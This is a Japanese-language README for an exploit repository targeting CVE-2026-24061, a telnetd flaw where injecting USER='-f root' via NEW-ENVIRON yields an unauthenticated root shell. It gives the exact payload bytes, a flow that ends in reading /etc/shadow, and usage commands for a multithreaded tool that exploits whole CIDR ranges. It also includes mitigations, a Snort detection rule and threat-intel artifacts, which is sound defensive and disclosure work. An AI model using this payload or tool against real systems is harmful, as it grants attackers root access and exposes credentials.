
GNU InetUtils telnetd - NEW-ENVIRON変数インジェクションによる未認証リモートルート権限取得。
GNU InetUtils telnetd - 認証不要のリモートルート権限取得(NEW-ENVIRON 変数インジェクション)
CVE-2026-24061 は、GNU InetUtils の一部として配布されている telnetd デーモンにおける重大な認証バイパス脆弱性です。この欠陥は、初期プロトコルハンドシェイク中の Telnet NEW-ENVIRON オプション(RFC 1572)の処理に存在します。
根本原因は、クライアントから提供された環境変数を login(1) プログラムに渡す前にサニタイズしないことです。Telnet デーモンが、値 -f root を持つ変数 を含む サブネゴシエーションパケットを受信すると、このサニタイズされていない値をシステムの バイナリに直接渡します。
USERNEW-ENVIRON ISloginlogin が -f フラグ(パスワード検証なしの強制ログイン)を受け入れるシステムでは、リモート攻撃者に認証不要の root セッションが付与される結果となります。
この脆弱性クラスには歴史的な前例があります。SysV telnetd の CVE-2001-0797 や、1994 年の有名な Linux telnetd -f バイパスは、特権バイナリに渡される環境由来の引数をサニタイズしないという同じ根本的な欠陥を悪用したものです。
認証情報は不要です。事前アクセスも不要です。単一のネットワークパケットシーケンスで root 権限を取得できます。
GNU InetUtils telnetd は、NEW-ENVIRON(RFC 1572 に基づくオプションコード 0x27)サブネゴシエーションを処理して、クライアントから提供された環境変数を収集します。これらの変数は引数ベクターに組み立てられ、login(1) を起動する際に execve(2) に渡されます。
この脆弱性は次のようにトリガーされます:
IAC DO NEW-ENVIRON を送信し、クライアントに環境変数を要求します。IAC WILL NEW-ENVIRON で応答します。IAC SB NEW-ENVIRON SEND IAC SE を続けて送信します。IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd は login -f root として login 呼び出しを構築します。login(1) は -f を「強制ログイン、認証スキップ」として解釈し、指定されたユーザー(root)をパスワードなしでログインさせます。| ステップ | 方向 | Telnet バイト(16進) | 意味 |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root が機能する理由多くの Linux システムの login(1) バイナリは、「事前認証済み」ログイン用の -f <user> フラグを受け入れます。これは歴史的にターミナルマルチプレクサや rlogin で使用されてきました。telnetd が exec 呼び出しを構築する際に、先頭のハイフンを除去したり、環境変数値のオプション風文字列を検証したりしないため、攻撃者が制御するフラグが意図せず login に直接渡されます。
実質的な呼び出しは次のようになります:
execve("/bin/login", ["login", "-f", "root"], envp);
攻撃者 脆弱な telnetd(ポート 23)
| |
|------- TCP SYN (port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet バナー + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd が呼び出し: login -f root] |
| |
|<------ root シェルプロンプト (#) -----------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow の内容 -------|
前提条件:
telnetd(TCP/23 オープン)を実行しているターゲットシステムinetutils バージョンlogin(1) バイナリが -f フラグをサポートしている(ほとんどの Linux ディストリビューションで標準)| ソフトウェア | 影響を受けるバージョン | ステータス |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x(具体的なパッチ適用バージョンは未定) | 脆弱 |
| パッチ未適用の GNU inetutils を同梱するディストリビューション | 各種 | ベンダー勧告を確認 |
お使いのディストリビューションがパッチ適用済みバージョンを提供しているか確認してください。多くの最新システムでは Telnet はデフォルトで無効化されています。曝露には明示的に実行中の
telnetdが必要です。
| メトリクス | 値 |
|---|---|
| CVSS v3.1 ベーススコア | 9.8(Critical) |
| 攻撃元区分(Attack Vector) | ネットワーク(Network) |
| 攻撃条件の複雑さ(Attack Complexity) | 低(Low) |
| 必要な特権レベル(Privileges Required) | なし(None) |
| 利用者の関与(User Interaction) | なし(None) |
| スコープ(Scope) | 変更なし(Unchanged) |
| 機密性への影響(Confidentiality Impact) | 高(High) |
| 完全性への影響(Integrity Impact) | 高(High) |
| 可用性への影響(Availability Impact) | 高(High) |
| ベクター文字列 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
要件: Python 3(標準ライブラリのみ、外部依存関係ゼロ)。
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
pip install は不要です。両スクリプトは Python 標準ライブラリのみを使用します。
poc_cve_2026_24061.py # シンプルな PoC(約100行)- 脆弱性の理解用
cve_2026_24061.py # 実戦向けエクスプロイト - マルチスレッド、CIDR、CSV/JSON エクスポート
scripts/
generate_signatures.py # ペイロードから Snort/Suricata + Sigma ルールを自動生成
generate_misp_event.py # MISP インポート可能なイベント JSON を生成
generate_stix_bundle.py # STIX 2.1 バンドルを生成(MISP、OpenCTI、TAXII)
signatures/
snort.rules # Snort/Suricata 検知ルール(自動生成)
sigma.yml # SIEM 用 Sigma ルール(自動生成)
indicators/
misp_event.json # MISP イベント - イベント > イベント追加 > インポート で取り込み
stix_bundle.json # STIX 2.1 バンドル - 11 オブジェクト(vuln、indicator、ATT&CK、CoA)
poc_cve_2026_24061.py:最小限で読みやすく、教育的。単一ターゲット、単一機能、抽象化ゼロ。プロトコルレベルで脆弱性がどのように機能するかを正確に理解するためにこれを読んでください。cve_2026_24061.py:ペネトレーションテスト業務向けの実戦用エクスプロイト。マルチスレッド、CIDR レンジ対応、ファイル入力、CSV/JSON エクスポート、クワイエットモード、カスタムユーザー対応。単一ホストを悪用します。コードは意図的に最小限に保たれており、最初から最後まで読んで攻撃チェーン全体を理解できます。
# 基本的な使用方法
python3 poc_cve_2026_24061.py 192.168.1.100
# カスタムポート
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| パラメータ | デフォルト | 説明 |
|---|---|---|
-t / --target | - | 単一 IP、ホスト名、または CIDR レンジ |
-f / --file | - | IP/CIDR を含むファイル(1行に1つ、# はコメント) |
-T / --threads | 10 | 同時実行スレッド数 |
-p / --port | 23 | ターゲットの Telnet ポート |
--timeout | 5 | ソケットタイムアウト(秒) |
--user | root | -f ペイロード用のユーザー名 |
-o / --output | - | 結果を CSV ファイルにエクスポート |
--json | - | 結果を JSON ファイルにエクスポート |
-q / --quiet | off | クワイエットモード:脆弱なターゲットのみ出力(1行に1つ) |
--no-color | off | ANSI カラー出力を無効化 |
| ステータス | 意味 |
|---|---|
[VULN] | ホストが脆弱であることを確認 - root シェル取得 |
[SAFE] | ホストは応答したが認証はバイパスされなかった |
[CLOS] | ポートが閉じているか接続が拒否された |
[ERR ] | スキャン中にソケットまたはプロトコルエラー |
CSV 出力列:ip:port, status, message
このスクリプトは、外部の Telnet ライブラリに依存せず、完全な Telnet NEW-ENVIRON ネゴシエーションステートマシンを Python でネイティブに実装しています:
IAC コマンドシーケンスを読み取り、DO NEW-ENVIRON に WILL NEW-ENVIRON で応答します。SB NEW-ENVIRON SEND サブネゴシエーションを受信すると、注入ペイロード(USER = "-f root")を送信します。uid=0(root) の存在またはシェルプロンプト(#))を確認します。Login incorrect や Password: が存在しないことを確認します。id\n を送信し、応答内の uid=0(root) を二次確認としてチェックします。結果は色分けされたステータスラベル付きで stdout に記録されます。オプションの CSV エクスポートにより、後処理用にすべての検出結果が記録されます。
Telnet を完全に無効化します。 Telnet はすべてのデータを平文で送信します。SSH に置き換えてください。
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
ベンダーパッチを適用します。 利用可能になり次第、ディストリビューションからパッチ適用済みの inetutils バージョンをインストールします。
境界で TCP/23 をブロックします。 受信 Telnet 接続を拒否するファイアウォールルールを適用します。
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| 対策 | 説明 |
|---|---|
| ネットワークセグメンテーション | Telnet を無効化できない場合は、分離された管理ネットワークに制限 |
| PAM の強化 | PAM 設定を確認し、login.defs で不要な場合は -f 事前認証を無効化 |
| IDS/IPS シグネチャ | Telnet トラフィック内の NEW-ENVIRON IS VAR USER VALUE -f パターンを検知 |
| 監査ログ | auth.log / secure を監視し、login 経由の予期しない root ログインを検出 |
| 脆弱性スキャン | 認証付きスキャン(OpenVAS、Nessus)を実行し、パッチ未適用の inetutils を特定 |
転送中のエクスプロイトを検知するための Snort/Suricata ルールのスケルトン:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
このリポジトリには、SOC/CTI スタックにすぐにインポートできる事前生成済みの脅威インテリジェンス成果物が同梱されています。これらは実際のエクスプロイトペイロードから CI によって自動生成されます。ペイロードが変更されると、成果物も更新されます。
indicators/misp_event.json を任意の MISP インスタンスに直接インポートします:
イベント > イベント追加 > インポート元... > JSON
このイベントには、CVE ID、CVSS ベクター、Snort シグネチャ、ペイロード 16 進、MITRE ATT&CK タグ(T1190、T1548、T1059)、CPE、外部参照が含まれます。
indicators/stix_bundle.json を OpenCTI、TAXII サーバー、または任意の STIX 2.1 コンシューマーにインポートします。
このバンドルには 11 個のオブジェクトが含まれます:脆弱性(Vulnerability)、指標(Indicator、ネットワークパターン)、3 つの攻撃パターン(MITRE)、対策(Course of Action、修復)、アイデンティティ(Identity)、およびそれらをリンクするリレーションシップ。
signatures/ 内の事前構築済みルール:
snort.rules - 3 つの Snort/Suricata ルール(エクスプロイト試行、一般的な -f インジェクション、悪用後の root シェル)sigma.yml - SIEM 相関用の Sigma ルールエクスプロイトペイロードを変更した場合は、すべての成果物を再生成します:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
このツールは許可されたセキュリティ監査、学術研究、教育目的のみで提供されています。システム所有者からの明示的な書面による許可なしにシステムに対して使用することは、該当するコンピュータ詐欺および悪用に関する法律(CFAA、Computer Misuse Act、および同等の法律を含むがこれらに限定されない)に基づき違法です。著者は、許可のない使用または悪意のある使用について一切の責任を負いません。